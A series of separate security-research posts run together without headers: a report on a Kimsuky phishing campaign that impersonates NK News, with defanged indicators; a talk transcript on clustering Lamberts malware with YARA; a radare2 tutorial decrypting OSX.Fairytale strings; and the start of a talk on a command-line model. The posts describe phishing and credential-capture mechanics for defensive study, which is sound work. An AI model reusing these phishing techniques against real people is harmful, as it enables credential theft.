In collaboration with NK News, a leading subscription-based service that provides news and analyses about North Korea, SentinelLabs has been tracking a targeted social engineering campaign against experts in North Korean affairs from the non-government sector. The campaign focuses on theft of email credentials, delivery of reconnaissance malware, and theft of NK News subscription credentials. Based on the used malware, infrastructure, and tactics, we assess with high confidence that the campaign has been orchestrated by the Kimsuky threat actor.
The social engineering tactics and some infrastructure characteristics closely relate to a Kimsuky activity privately reported by PwC and discussed in an NSA advisory published during the writing of this article. We focus on the specific targeting of expert analysts of North Korean affairs by impersonating NK News and stealing NK News credentials, and provide details on used TTPs to support collaborative hunting and detection efforts.
Kimsuky, a suspected North Korean advanced persistent threat (APT) group whose activities align with the interests of the North Korean government, is known for its global targeting of organizations and individuals. Operating since at least 2012, the group often employs targeted phishing and social engineering tactics to gather intelligence and access sensitive information.
A hallmark of the activity we discuss in this post is Kimsuky’s focus on establishing initial contact and developing a rapport with their targets prior to initiating malicious activities. As part of their initial contact strategy, the group impersonated Chad O’Carroll, the founder of NK News and the associated holding company Korea Risk Group, using an attacker-created domain, nknews[.]pro, which closely resembles the legitimate NK News domain nknews.org. The initial email requests the review of a draft article analyzing the nuclear threat posed by North Korea.
If the target engages in the conversation, Kimsuky uses the opportunity to deliver a spoofed URL to a Google document, which redirects to a malicious website specifically crafted to capture Google credentials. Kimsuky may also deliver a weaponized Office document that executes the ReconShark reconnaissance malware.
Further, Kimsuky’s objective extends to the theft of subscription credentials from NK News. To achieve this, the group distributes emails that lure targeted individuals to log in on the malicious website nknews[.]pro, which masquerades as the authentic NK News site. The login form that is presented to the target is designed to capture entered credentials.
This Kimsuky activity indicates the group’s growing efforts to establish early communication and foster trust with their targets prior to initiating malicious operations, including the delivery of malware. Their approach highlights the group’s commitment to creating a sense of rapport with the individuals they target, potentially increasing the success rate of their subsequent malicious activities.
By actively targeting high-profile experts in North Korean affairs and stealing subscription credentials from prominent news and analysis outlets focussing on North Korea, Kimsuky demonstrates a heightened curiosity in understanding how the international community perceives developments concerning North Korea, such as the country’s military activities. These actions are probably part of their broader objective to gather strategic intelligence, contributing to North Korea’s decision-making processes.
Google Credential Theft
We observed Kimsuky distributing an HTML-formatted phishing email to selected individuals, which requests the review of a draft article analyzing the nuclear threat posed by North Korea. The email primarily aims to initiate a subsequent conversation and is intentionally designed to appear benign: It impersonates NK News leadership and lacks any malicious artifacts.
Initial email
If the target engages in the conversation, Kimsuky eventually follows up with an email that contains an URL to a Google document.
Follow-up email
If the target is not responsive, Kimsuky follows up with a reminder email in an attempt to engage the target in conversation.
Reminder email
The URL’s destination is manipulated through the spoofing technique of setting the href HTML property to direct to a website created by Kimsuky. This method, commonly employed in phishing attacks, creates a discrepancy between the perceived legitimacy of the link (a genuine Google document) and the actual website visited upon clicking the URL.
The displayed URL to a Google document points to an actual article hosted on Google Docs, delving into the topic of the North Korean nuclear threat. The article contains visible edits to give the impression of a genuine draft article, aligning with Kimsuky’s luring tactic.
Google document
The spoofed destination of the URL redirects the target to an attacker-created website that masquerades as a legitimate Google Docs site for requesting document access, such as
The Base-64 encoded segment, that is, the value of the menu URL query parameter, resolves to the target’s email address.
This serves as a means of transporting the target’s address to the fake Google Docs site, which enables the site to dynamically display the address, creating a personalized and convincing appearance of legitimacy. The design and functionality of this site suggest its potential for reuse in targeting different individuals.
Malicious Google Docs site
We were unable to analyze the functionality behind the Request access web element as the group has taken down the site. However, given the theme of the site, we suspect that it has been designed to capture entered Google credentials.
During conversations with targeted individuals, Kimsuky also seizes any available opportunity to distribute password-protected weaponized Office documents that deploy the ReconShark reconnaissance malware. ReconShark exfiltrates information relevant for conducting subsequent precision attacks, such as deployed detection mechanisms and hardware information. The implementation of the ReconShark variant we observed in this activity remains the same as the one covered in our previous post on Kimsuky activity, with the main distinction being the use of a different C2 server: staradvertiser[.]store. This domain resolves to the IP address 162.0.209[.]27, which has hosted domains that have been attributed to Kimsuky in previousresearch, such as sesorin[.]lol and rfa[.]ink. Kimsuky’s use of ReconShark as part of this activity underscores the malware’s central role within the group’s current operational playbook.
NK News Credential Theft
We also observed Kimsuky attempting to steal credentials for the subscription service of NK News, which is known for its comprehensive expert analyses and news reports. Gaining access to such reports would provide Kimsuky with valuable insights into how the international community assesses and interprets developments related to North Korea, contributing to their broader strategic intelligence-gathering initiatives.
In order to accomplish this, Kimsuky distributes an email that lure targeted individuals to log in to a spoofed NK News subscription service. The emails prompt the recipients to confirm their NK News accounts under the pretext of recent security updates.
Phishing Email
The fake login site, hosted at https[://]www.nknews[.]pro/ip/register/, features a login form with the standard web elements, such as Sign In, Sign Up, and Forgot Password? buttons. When clicked, the Sign In button executes the loginAct JavaScript function, whereas the rest of the buttons do not conduct any activities.
Fake NK News login site
The JavaScript code captures entered credentials by issuing an HTTP POST request to https[://]www.nknews[.]pro/ip/register/login[.]php and then redirects the user to the legitimate NK News site.
JavaScript code
The main website hosted at https[://]www.nknews[.]pro redirects to the legitimate NK News site, https://nknews.org, and uses a certificate issued by Sectigo:
The domain nknews[.]pro, registered through Namecheap, also resolves to the Kimsuky-linked IP address 162.0.209[.]27. The URL https[://]www.nknews[.]pro/config[.]php hosts a password-protected remote management site, which is likely an implementation of the b374k tool, based on the implementation of the login site and the presence of the config.php file. The Kimsuky group is known to use this tool for remote management of its infrastructure.
b374k login site
Conclusion
SentinelLabs remains actively engaged in monitoring the activities conducted by Kimsuky. The findings presented in this post highlight the group’s persistent commitment to targeted social engineering attacks and underscore the need for increased awareness and understanding of Kimsuky’s tactics among potential targets. Maintaining vigilance and implementing effective security measures are imperative to mitigate the risks posed by this persistent threat actor.
Indicators of Compromise
Indicator
Description
nknews[.]pro
Phishing email sender domain
chad.ocarroll@nknews[.]pro
Phishing email sender address
membership@nknews[.]pro
Phishing email sender address
https[://]www.nknews[.]pro
Website impersonating NK News
https[://]www.nknews[.]pro/config[.]php
Website impersonating NK News: b374k login site
https[://]www.nknews[.]pro/ip/register/
Website impersonating NK News: Fake NK News login site
This must-see talk discusses a highly-regarded but rarely publicly investigated threat actor, malware similarity, and YARA. Publicly available data yields just a generic AV signature with the actor’s name, leaving a void for malware analysts looking to understand the overlaps between different malware families attributed to the same actor.
Greg Lesnewich explores how analysts can use YARA as an analyzer with the console output, leveraging some simple Python scripting, to develop a malware similarity methodology. With a little – but not too much! – effort, analysts can easily build their own custom malware analysis toolkits using nothing other than freely available open source projects.
Greg’s presentation highlights just how well YARA can be used to pursue an apex predator and contains plenty of examples and links to all the tools used in the talk. Greg also shares the custom tooling he built as he analyzed a notorious threat actor, which can easily be adopted or adapted by other analysts to suit their own purposes.
Greg Lesnewich:
Hello, everyone. Thank you. To the lab’s organizers, to Ryan, to JAGS, everyone at S1, all the event staff for this amazing event. I think I’m not the only one that’s been enjoying a week here so far.
Greg Lesnewich:
My name is Greg. I work at an email company called Proofpoint. That is, my job is primarily doing what Victor does following me, chasing the L word out of our email data. And today’s talk is nothing about that. So before we start, this talk does discuss a bit of a taboo actor, which I track as Bright Constellation. But there are a litany of disclaimers that my wife and our company mandated that I say I do not discuss the incident responses. We do not actively pursue this actor. There are no leaked documents herein; this is personal research and although the actor is something that was a little bit attention grabbing previously, it was mostly sort of a interesting piece of data to explore developing a malware similarity via YARA.
Greg Lesnewich:
So there are going to be some musical references scattered throughout here that link to the naming of the malware families themselves. If you can figure them out, you can take a shot after the talk with me. So first, I think that YARA and a lot of parts of this conference only happen from learning through one another and being people being open and willing to share and teaching others. And so the list of humans and robots far exceeds this slide that have helped me to really learn and understand and develop some better ideas for detection ideas.
Greg Lesnewich:
A few that I want to call out today are Connor McLaughlin, Arielle and Costin from Kaspersky Xorex and of course, our pal Steve Miller. And so getting to the elephant in the room, our subject today is the Lamberts. Those I think everybody here probably knows who they are because Juan knows who they are. And at least in my time in the Threat Intel space, they have been maybe the highest regarded actor that I’m aware of. Juan has talked on and on and on about their amazing multi framework toolkit and their incredible operational security and their awesome tradecraft. And so I’m building on a lot of the work that Symantec and Kaspersky and previously FireEye had published about. But my interest in them is basically only because I knew that if I submitted about them, Juan was likely to accept my talk.
Greg Lesnewich:
So the Lamberts present a little bit of an interesting problem for us as an industry. Kaspersky had this amazing Kaspersky and Symantec really had this amazing series of very interesting actors with white papers getting published about them, like Equation like Project Sauron, like Stuxnet, Dooku, Name one. And they had all these really rich papers discussing the malware and doing all these sorts of deep technical analysis that you could walk away with an understanding of what was happening.
Greg Lesnewich:
And Kaspersky has no reason to like, I’m not putting throwing shade on them, but their paper about the Lamberts was noticeably shorter. There weren’t a lot of hashes published with it, but they did have this cool chart showing the constellation of the Lamberts toolkit that, you know, there wasn’t a white paper to sort of support the linkages or highlight what was going on there, which to me presented a pretty interesting opportunity because if you go on VirusTotal, there is a detection across ESET and Kaspersky that just says Lamberts, but it unfortunately is not linked to any of the colors listed there. So it presented kind of a fun black box for us to play with.
Greg Lesnewich:
And so I think like most other threat intel analysts, this is a familiar sight. After another vendor publishes a report, you have a list of files that if they didn’t publish a YARA rule or some other form of detection, you just sort of have to figure out detection in your own environment. And so, yeah, this is our starting point, I think like a lot of other investigations.
Greg Lesnewich:
And so the initial methodology and what we’re going to walk through a few different steps that I took that I thought was decently valuable. I’m going to take a macro view of all of the 50 samples that were available on VirusTotal at the time that I started this.
Greg Lesnewich:
And what we’re going to do is we’re going to rely really heavily on a couple of tools like Yara, particularly its console module. For those of you that aren’t familiar with it, it’s like a console, like anything else, like Python, whatever else. A script that Steve Miller built to sort of wrap the console module called Ronnie, which is a Ronnie Coleman reference that I think one person in this room gets. And then we’re going to use another tool called Binary Refinery to sort of show the evidence of some of the data that we’re working with. And given knowing the crowd here at Labs Con, I’m going to use that as an excuse to really roll really quickly through the first section of the content.
Greg Lesnewich:
So initially. Like most other analysts, you’re looking at samples in bulk. We’re going to look for overlaps across the import hash hashes of the sections, the resources, and then more like developer fingerprints. The PDB path, the DLL name, and then sort of looking at the general geometry of all these files. And so if you take this initial surface area, even for this elite, highly apex actor, we can already start to see some overlaps with these DLL names up here at the top and then some import hashes mixed with DLL .dll there at the bottom.
Greg Lesnewich:
And so one of the things that I want to really highlight in this talk is the codification of what you can do with a local YARA instance, like on an analyst machine and just plug your ideas into console output rules.
Greg Lesnewich:
And so you can have it burp out things like, say, the rich header hash and then use sort and unique to burp out overlaps. And as you work through this and look at at least in this actor in particular, and I think this applies to a lot of them, you can start to start. You can start to see a number of weird overlaps like these DLLs mixed with the A PDB paths. And if you iterate and iterate and iterate and you look at things like the resource and section hashes, ignoring that very obvious empty hash there at the top, you do eventually get to start clustering some of the families, notably the PDB path, the export names and. More like general hashing was really good for us to start to cluster some of these families together. And we actually have our first linkage across the malware families to each other with rationalist and cutting ties, sharing this weird smartcard helper string resource. Still don’t know what it means, but it’s sort of a weak link to point these families together. So after this first round, I think of methods and techniques that we’re all familiar with. We’ve had we have 13 families clustered, but we still had 30 to 40 files outside of those folders. So we still had more to do.
Greg Lesnewich:
And it sort of becomes immediately obvious that as you’re doing these things in bulk, using just features doesn’t like really highlight how the samples are related to each other and it’s pretty brittle. So an import hash can change. They can decide to change the name of an export. And so we want to do something a little bit more resilient. And so one of the themes of this talk is going to be, can we do more? Can we do better? And so let’s keep digging in and try and answer that.
Greg Lesnewich:
And I think the golden goose of all of YARA stuff is finding shared code, not from shared features. And the benefit that we have is that we can use YARA’s console output without necessarily needing to use something like a disassembler or a hex editor for every single file. Especially as for more traditional threat intel analysts, you’ll get the files in bulk, not one by one by one. And so if we want to sort of hone in on at least where code is, the PE file format dictates where it is, so we can look for sections just as a first example that are marked as containing code or as memory executable by the file format itself. And then instead of hashing the full thing where there might be padding, there might be differences in data at the end of it.
Greg Lesnewich:
What if we just hash the first 100 hex bytes and call that a sector hash and throwing this at the wall? There was already an easy win there with the eight sector hashes marked at the top compared to the rest of the seven numbered section hashes. So immediately we had something stick. And surprisingly, you know, we can see the data that gets hashed here. There are a lot of these three instructions that might not be the most interesting or unique code, but its position and its positioning, clustering together ends up being unique to a family that we track as rationalist.
Greg Lesnewich:
But can we do better than just blindly hashing data at the start of a section? I hope that the answer is yes. And so there are a couple of other places that the P tells us. There is code mostly at the entry point and the export functions. And so what if we did something silly like using a console rule to hash the first 20 bytes from the entry point on forward? And the other thing that you can end up doing with the console, instead of just putting in like a string, you can put almost the entirety of a YARA rule whenever you’re having sort of these. Maybe your AC failed over the summer and you’re having some weird ideas about how to find malware similarity. You can codify that sort of in the moment that you’re thinking about what you want to do and have it live on on your analyst machine forever and sort of codify that.
Greg Lesnewich:
And so it can sort of be YARA automation, maybe not perfectly, but in a way that you control. And so this, this ends up actually working and allowed us to cluster a few new families. In this instance, a family we tracked as Marianas Trench. You can see that these hashing that first 20 bytes got catches, a lot of conditional jumps and decrement instructions, which it turns out was really useful because the export name changed over a bunch of the samples. But hashing those first 20 bytes with those particular instructions was unique across not only that sample among the other Lamberts and Bright Constellation samples, but across all of VT and my own very small malware repository. So we had some wins from that and we were able to cluster some additional families using some of these sector hasher sector hashing entry point and export hashing methods, namely invisible enemy bloodletter and existence. But there are a lot more functions inside of these PE files, as many of you know, and so coming back to the question, can we do better? Most of those exports and entries entry point functions do call other functions. So how do we get to those?
Greg Lesnewich:
This actually ends up becoming a little bit of a math problem, which took me an embarrassingly long time to sort of figure out. But YARA can loop over a certain set of bytes inside of a file. And so if you pass it, something to look for the entry point and the first 25 bytes after it and look for any relative call instruction, you can modify the bytes that come after that and sort of follow that into the next function and then hash that. So you get a little bit of this idea of provenance, of something getting called from an export or an entry point and then the code that is inside of it.
And so in this in this example, this allows this allowed us to cluster a family that we tracked as escape artist, where YARA iterates over the first 25 bytes of this export and follows both of those functions and hashes them to see if they match that hash. And the second one they do. And what that data ends up being is the first 14 bytes down to that push, 200 instruction. Again, maybe a little surprisingly, this was a completely unique feature to just escape artist. It is code. It might not be like perfect code overlap, but it’s only clustered among these three samples of escape artists and nothing else out there on or in my malware collection. So once it becomes a math problem, you can sort of get into this idea of like tertiary or whatever comes after tertiary function hashing, which you know.
Greg Lesnewich:
If Yara is cooking. Some people like VT have a vested interest to keep their restaurant running smoothly. Doing stuff like this is like brewing beer in your basement as like a personal experiment. So don’t write rules like this and put them on on VT or your own internal tooling because I think that it can be useful for really exploring your own knowledge of where things are coming from and where to find overlaps across a very small set of files. But it may be more of a last resort thing. And trying other things like conditional jumps or absolute calls were pretty useless. But it did get us another family to cluster in.
Greg Lesnewich:
And by this point we have all these families clustered together. There are two that stand out here level or impairment that only have one file in them each, but from that they didn’t fit into any other buckets, so they sort of got deemed to be their own family. But we don’t really have any idea how they relate to each other. And so we’ve sort of reached the limit, in my opinion, of what we can do with just the console. And so we have to sort of expand our tooling and go look in a different direction. And like Philippe, I have us staring at the abyss titled Slide. And so it comes down to the fact that we have to disassemble.
Greg Lesnewich:
And in that disassembly, we also have to and, you know, sort of disassembling meaning going down to the function level of the P. And then we also have to account for changes in the file like to addresses that get called so that way you can wildcard them out and avoid them. But using those functions is kind of a pain in the ass. So in the previous escape artist example, there are 678 functions inside of it. And how do you pick among those which to focus on? Do you take those that have a high cyclomatic complexity? Do you pick those that have a ton of cross references? Making thresholds for those is really difficult because you don’t necessarily have the best idea across all the files of what a large number of cross references is. And so how do you pick which functions to hone in on and sort of thinking about this over the summer, the answer was gifted to me in the form of a guy called Willy Mellenthin and a tool called Floss that I think some of you would be familiar with. There’s a Mandiant tool, so thank you to William Moritz for building it. That does a lot of cool stuff that doesn’t really get talked about. It uses this engine that Visy built called Vivisick to emulate, which is how it follows functions like these ones that’s shown here in the screenshot and then burps out the decoded strings.
Greg Lesnewich:
It turns out that if you use the X flag in the previous version of Floss or the V flag in the current one, you can get not only the offsets of those strings to write a rule on, but you can also then get the likely decoding function. So those end up being, at least in my opinion, decently high fidelity. And so over the summer where Willy Valentine stepped in was that there was they upgraded floss to version 2.0, which exposed it as a Python library. And you can write a function here like Willy kindly did for me when I asked him a question. And his solution was build a tool for me instead of just answering the question. And we can use those as a feeder for disassembly.
Greg Lesnewich:
And so we can. I don’t have an idle license and Risen was was a really good option for us to sort of walk through and disassemble all the files, particularly because it does this Zignature masking which allows you to basically mask out the address and wild card it instead of just just taking the bytes out of each function individually. And so what you get is the golden goose of a decently interesting code base YARA rule. We’re open sourcing this today. The link is going to be up here in a little bit. We’re calling it Floss2YAR because we are not very creative, but this was sort of my solution to looking at the Lambertz toolkit and figuring out how to link the different disparate families together.
Greg Lesnewich:
Like anything else, it has limitations, but we put it out for free. And so if it sucks, I wrote it. So you get what you pay for. There are a bunch of other tools out here that do this too, but I didn’t have a great understanding of how they were doing things like your yard-signator and Binlex are awesome, but there wasn’t really like a direct answer of like. Okay. You know, this is rare, but what’s it doing if you’re going to go through the time of disassembling something like, you might as well have an idea of what it’s doing. And so the benefit of honing in on likely decoding functions is that you get things like this. This is a slide that I blatantly stole from Costin that linked a bunch of these different Lambert families together. And so if you looking for decoding functions gets you things like this with all of these weird XOR move instructions.
Greg Lesnewich:
And so what happens if you keep writing, running this over batches and batches of these files and very quickly failing and finding things that are sort of just generic windows functions. You can start to link these nodes not only with the sort of idea that you have this understanding that the code is similar, but that the functions are actually shared.
Greg Lesnewich:
And so you can iterate and iterate and iterate. Also occasionally running on export functions and you end up landing on this constellation of Lambert’s tools, which looks a little bit cooler if you color in what I suspect the families actually are. Ariel in the back is going to grade my effort here at the end because Kaspersky knows way more about it than I do. But this was sort of my best guess for what these families were. If some were updated versions and sort of mapping to their color coding.
Greg Lesnewich:
So looking at how we did using this method, we were able to link 14 out of the 21 families. There are six families that we left out to dry. So if you subscribe to the D’s or C’s get degrees, you could call it a win. I do. So I am calling it a win. And you know, looking at all of these files in aggregate, a couple of things do end up standing out like they really like running as Windows Services. There’s a lot of interesting functions that build out Windows services that have string names for that sort of spoof advertising corporations, sort of similar things in their C c2’s And it sort of became apparent as I was exploring them that they’re really keen on hiding from a systems administrator that knows what they’re doing and the Windows operating system, sort of general logging and telemetry.
Greg Lesnewich:
There wasn’t a lot of like user evasion where none of their files had like a PDF icon to entice someone to click, nor was there any sort of like direct AV evasion, at least in my analysis of like I guess, 80 files at the end of the day after retro hunting.
Greg Lesnewich:
There are some shortcomings. With this. I’m probably missing a whole litany of files that Kaspersky has sort of discussed in open source, as well as Juan during. He can’t give a conference talk without mentioning them, but I’m probably missing some things. So there are a lot of gaps to be filled in. I also didn’t really reverse any of these. I’m the hashes and all the rules are going to get shared. So if you want to dive in and contribute to sort of filling in some of the gaps, that would be really cool.
Greg Lesnewich:
And in looking at the sort of assessing like what we did, I think that the type of tooling that is getting found could definitely create a bias in the data set in that if something is running in plain text in memory, that’s much more likely to get clipped and thrown into VirusTotal rather than something that is maybe encrypting big chunks of itself in memory and only decoding them at specific call time. I also could be completely overthinking this and all of those collections and connections that I had in that previous slide, those could all just be like modules of two families and I could be completely overblowing what’s happening and without really doing the the incident response or knowing how the samples interact, we’re at a limit of how we can link them to each other.
Greg Lesnewich:
So I’ll leave this slide up. The tool is here. I think that the link works on GitHub, all of the rules and in comments there are the hashes for the on pastebin, the hashes and the rules, both the sort of wonky ones as well as the code based ones are up there and then the console rule set for like automatically burping out like the import hash or the like tertiary called function hash stuff is all there and just I’m very willing to share the slide deck with people because there are a lot of slides in the appendix about what the families actually look like and some oddities in them. But you have to be a real human and come talk to me to be able to do that. And I’m not just going to tweet it out because I don’t want to get disappeared.
Greg Lesnewich:
And so I think that the main takeaway that I had from doing this research is that YARA is good enough and flexible enough to sort of if it’s good enough to track Bright Constellation or the Lamberts, it’s probably good enough for a lot of the other actors that we’re facing.
Greg Lesnewich:
I will say there is an additional bias in there that these samples were definitely not bloated by certain they’re not written in Delphi, so there isn’t a ton of additional data in there. They’re not stuffing OpenSSL or zlib like full libraries in there either. So that was iterating over them was a little bit of an easier job. But really the thing that I learned most from this doing this research is that if you’re an analyst and you have an idea it is worth your time to learn enough Python or enough Go or whatever language you want to subject yourself to to build it because no one is going to have the same vision that you have and no one is going to know the same outcome that you’re going to want.
Greg Lesnewich:
And so. In that, I don’t know, two and a half years it took me to really feel comfortable writing Python ut sort of enabled this to happen. So if you’re an analyst, the idea is worth it. We’re a better community if you put it out into the world. So yeah, if it doesn’t exist yet, build it. And with that, I’m disappointed that Juan and Kim missed a whole talk about the Lamberts, but I will be taking questions. Thank you. There was no there was no new information. There weren’t any docs. You didn’t miss anything. Ariel. How did I do?
Greg Lesnewich is senior threat researcher at Proofpoint, working on tracking malicious activity linked to the DPRK (North Korea). Greg has a background in threat intelligence, incident response, and managed detection, and previously built a threat intelligence program for a Fortune 50 financial organization.
About LABScon
This presentation was featured live at LABScon 2022, an immersive 3-day conference bringing together the world’s top cybersecurity minds, hosted by SentinelOne’s research arm, SentinelLabs.
In the previous post in this series, we looked at powering up radare2 with aliases and macros to make our work more productive, but sometimes we need the ability to automate more complex tasks, extend our analyses by bringing in other tools, or process files in batches. Most reverse engineering platforms have some kind of scripting engine to help achieve this kind of heavy lifting and radare2 does, too. In this post, we’ll learn how to drive radare2 with r2pipe and tackle three different challenges that are common to RE automation: decrypting strings, applying comments, and processing files in batches.
Scripting radare2 with C, Go, Swift, Perl, Python, Ruby…
No matter what language you’re most comfortable working in, there’s a good chance that r2pipe supports it. There are 22 supported languages, though they are not all supported equally.
Programming languages supported by radare2’s r2pipe
C, NodeJS, Python and Swift are the most well-supported languages, but I tend to use Go for speed and brevity, and it lets me hack scripts together rather haphazardly to achieve what I need. When scripting your own reversing sessions, there’s little need to worry about the niceties of programming style or convention as we would do when shipping code for production or other purposes. Although performance can be improved by doing things in one language rather than another, that’s something I rarely need to worry about in practice in my reversing work.
All that’s a preamble to saying that you can – and probably should! – write better scripts than those I’ll show here, but these examples will serve as a good introduction to how you can easily hack your way around problems thanks to r2’s shell integration to get a working solution without worrying too much about “the right” or “the best” way to do it.
Automated String Decryption in OSX.Fairytale
We’ll use a sample of OSX.Fairytale to illustrate automated string decryption. Though I’ll be using Go, you can easily apply the same techniques in whatever other language you prefer.
Like many simple malware families, Fairytale encrypts strings with a combination of base64 and a hard coded XOR key. In this case, the XOR key is 0x30.
OSX.Fairytale uses 0x30 as a hard coded key for XOR decryption
Once we have determined the XOR key, there’s various simple ways to decrypt a given string or even the whole binary (e.g., cyberchef, or writing your own decryption function), but our eventual aim is to add comments to the disassembly (as well as learn a few useful tricks), so we’ll take a different approach.
Note that radare2 comes with a useful little tool called rahash2 , which among other things, can decrypt strings. Here’s an example you can run on the command line:
As we discussed in the previous post, we could easily make this into a function in our .zshrc file. However, one drawback with that approach is r2 won’t let us call such functions from the r2 prompt. We can solve that by creating a standalone executable and saving it in our path, like so:
#!/bin/zsh
if [ "$#" -eq 2 ]; then
echo $(rahash2 -D xor -S $1 -s $2)
elif [ "$#" -eq 3 ]; then
echo $(rahash2 -D base64 -s $3 | rahash2 -D xor -S $2 -)
elif [ "$#" -eq 1 ]; then
echo "
# USAGE:
# rxorb
# rxorb 0x30 "\|YRBQBI"
# Use '-b' to base64 decode the string before the xor
# rxorb -b 0x30 FXAffFlSQlFCSR98UUVeU1hxV1VeREMfFXAeQFxZQ0Q=
"
else
echo "INPUT ERROR, type 'rxorb help' for help."
fi
Saving this as /usr/local/bin/rxorb and giving it executable permissions (e.g., via chmod +X) will now make this available to us both on the command line and from within r2, once we open a new shell and new r2 session.
Calling rxorb from within r2 to decrypt individual strings
Great, we now have a general string decryption tool that we can feed a string, a key and cipher text and we are able to specify whether the cipher needs to be base64 decoded before being XOR’d with the given key. This alone will take care of a lot of use cases!
However, while this works well for manual decryption, it becomes tedious for anything more than a few strings. What would be much better is if we could simply type one command that would iterate over encrypted strings in the binary and either print out all the decrypted text or comment the code where the string is referenced. Ideally, our solution should give us the option to do both.
Let’s see how we can implement that by leveraging radare2’s scripting engine, r2pipe (akar2p).
Building the Script
We’ll call the Go program “decode.go”, and the first part of it requires importing the r2pipe package from github.
package main
import (
"fmt"
"github.com/radareorg/r2pipe-go"
)
var r2p, _ = r2pipe.NewPipe("") // Declare r2p as a global
func check(err error) {
if err != nil {
panic(err)
}
}
After the imports, we declare a global variable r2p, which provides a pipe to the r2 instance when we call it from within an r2 session. This global will allow us to send and receive commands to the r2 session. We also implement a generic error function for use throughout the code.
Next, we’ll implement a decrypt function. We could (and probably should) write a native version of this, but since we already have a decrypt function using rahash2 above, we’ll reuse that. This will also allow us to see and solve some other common challenges we might face in other scenarios.
The decryptStrAtLoc() function does most of the work in our program. As parameters, it takes an address and the XOR key. We’ve chosen not to return the decrypted string to the caller but instead consume it within the function. We’ll see why shortly.
For each command we want to pass to the r2 session, we first format the command as a string, then pass the command to r2p. Thus, [1] formats a command that returns the bytes at the current address as a string. At [2], we format a command that decodes the string by passing it to the rxorb utility we wrote earlier.
As r2pipe’s Go implementation doesn’t support easy capture of stderr and stdout, we write this to a temporary file, which we’ll consume in the next part of the code. Had we chosen to implement the XOR decryption natively in our code, we could have avoided that, but seeing how to deal with stdout when using r2pipe and Go is a useful exercise for other scripts.
Our decoded string is now sitting in a file in /tmp. In the function above we do two things with one command: we read the string into a buffer and we write it out as a comment at the disassembly address in the file under analysis. The sed code is another work around for wrapping the string in quotes so that any special characters in the string do not get interpreted by the r2 shell when we pass it back.
We next implement a function that will print out the disassembly along with the commented string to the r2 prompt. At [3], the “pd 1” command tells r2 to print one line of disassembly from the given address.
Finally, we implement our main() function that will call all this code as well as handle cleaning up the temporary file now that we’re done.
Note that at [4], due to the simplicity of the command, we just supplied the command directly to r2p.Cmd rather than format a separate string. The entire script can be found here.
Using the Script
To use the script, build the decode.go program and take a note of the output path. Open an r2 session with the target binary and at the prompt type:
#!pipe /usr/local/bin/godec/decode # change the path to suit
If you hit return now, you’ll likely see an error and then some disassembly.
The script returns an error from sed
That’s because we have executed the script while located at an address that does not contain any strings to consume. Let’s find an encrypted string and try again. The r2 command izz~== will output any strings in the binary that contain “==” – a common padding for base64-encoded strings.
Executing izz~== at the r2 prompt
Let’s seek to location 0x100016bdb to test our decryption program.
We can see that our decoder has appended a comment containing the decrypted string, which looks like the beginning of a LaunchAgent or LaunchDaemon plist. Great! Let’s try again, this time feeding it all the strings that contain “==” in one go. Try this:
#!pipe /usr/local/bin/godec/decode @@=`izz~==[2]`
Here’s an example of the output:
At this point, since the #!pipe command is awkward to remember and type out every time, you might want to create an alias and/or macro for that.
The $dec alias allows us to call this particular script easily, while the script macro allows us to pass in any script path as an argument to the #!pipe command.
Note that we didn’t decode all encrypted strings in the binary. We could iterate over all strings (including non-encrypted ones) with something like $dec @@=`izz~cstring` but that will lead to errors. The right way to approach this would be to add code to our program that determines whether the string at the current address is a valid base64 encoded string or not. We’ll leave that as an exercise for the reader.
Our script could also do with some other improvements: passing the key as an argument would make it more reusable, and of course, there are many points where we lazily use r2 to shell out rather than using Go’s own os package, but for now, this simple script will handle the job it was intended for and is simple to repurpose or build on.
Running a Script Without an Interactive radare2 Prompt
Sometimes you just need to run a script and get the results without needing an interactive r2 prompt. You can tell r2 to execute a script on a binary, either before or after loading the binary, with the -i and -I flags, respectively. The -q option will tell r2 to quit after running the script.
r2 -Iq <script file> <binary>
You can also do the same thing with commands, aliases and macros directly without using a script, using the -c option. For example, this will print out the result of the meta macro without leaving you in an r2 session:
r2 -qc ".(meta)" /bin/ls
Batch Processing Files with a radare2 Script
If you want to process a number of files without having to start an r2 session for each one, you can pass the file path to your script as an argument when you call r2pipe as follows:
func main() {
args := os.Args
if len(args) < 2 || len(args) > 2 {
fmt.Printf("Usage: Provide path to a binary.")
os.Exit(1)
}
argPath := os.Args[1]
r2p, err := r2pipe.NewPipe(argPath)
check(err)
defer r2p.Close()
r2p.Cmd("aaa") // run analysis
// do your stuff
// write results to file or stdout
}
You can now process all files in a folder from the command line with something like:
% for i in ./*; do my_r2pipe_script $i; done
Conclusion
In this post, we’ve learned a number of useful skills. We’ve seen how to automate tasks like grabbing disassembly, adding comments, and decoding strings, and we have navigated some of the complexities of dealing with stdout when using Go to drive r2pipe.
We’ve looked at how to pass file paths as arguments and how to run scripts, commands and macros without opening an interactive radare2 session. With a good understanding of the r2 commands explored throughout this series, you should now be able to readily adapt these skills to other automation tasks.
What do GPT3, DALL-E2, and Copilot have in common? By grasping the structure and nature of language, these projects can generate text, images, and code that provide added value to a user. Now, they even understand command lines!
Quiver – QUick Verifier for Threat HuntER – is an application aimed at understanding command lines and performing tasks like Attribution, Classification, Anomaly Detection, and many others.
DALL-E2 is known to take an input prompt in human language and draw a stunning image with impressive matching results; GPT3 and similar projects can create an infinite amount of text seemingly written by a real person, while Github’s Copilot can generate entire functions from a comment string.
Command lines are a language in themselves and can be taught and learned the same way other languages can. And the application can be as versatile as we want. Imagine giving a command line to an input prompt and getting the probability of it being a reverse shell, by an Iranian actor, or maybe used for cybercrime. A single prompt on its own may not help so much, but with the power of language models algorithms, the threat hunter can have millions of answers in a matter of minutes, shedding a light on the most important or urgent activities within the network.
In this session, Dean and Gal demonstrate how they developed such a model, along with real-world examples of how the model is used in applications like anomaly detection, attribution, and classification.
Dean Langsam: So first of all, I need to say that our code is in Jupyter Notebooks and PyTorch. So if any one of you want to see the code, just use wheels, exploits and we'll be good. Okay, so this is Quiver. I think I did. We did. Gal and I. Let's begin those three logos or logos for three fairly new tools, although they're pretty famous. The first one is Dall-e two. The second one is GPT three and the and the third one is GitHub copilot. And let's start with some examples.
Dean Langsam: So Dall-e two can create an image from text. In that example, we can see a cybersecurity researcher sitting on a beanbag in front of a pool in the desert in a fancy hotel trying to reverse engineer a nation state malware, working on a presentation in a realistic style. So that's you guys. If you can connect with that one, maybe this is you guys as you can see, it's not very good with text, but you are all cyber security researchers.
Dean Langsam: GPT three or GPT three is a model that can generate text. It's applications in cybersecurity. Don't really need to read that. What you need to know is that except for the I've written only the gray part and GPT three created the rest.
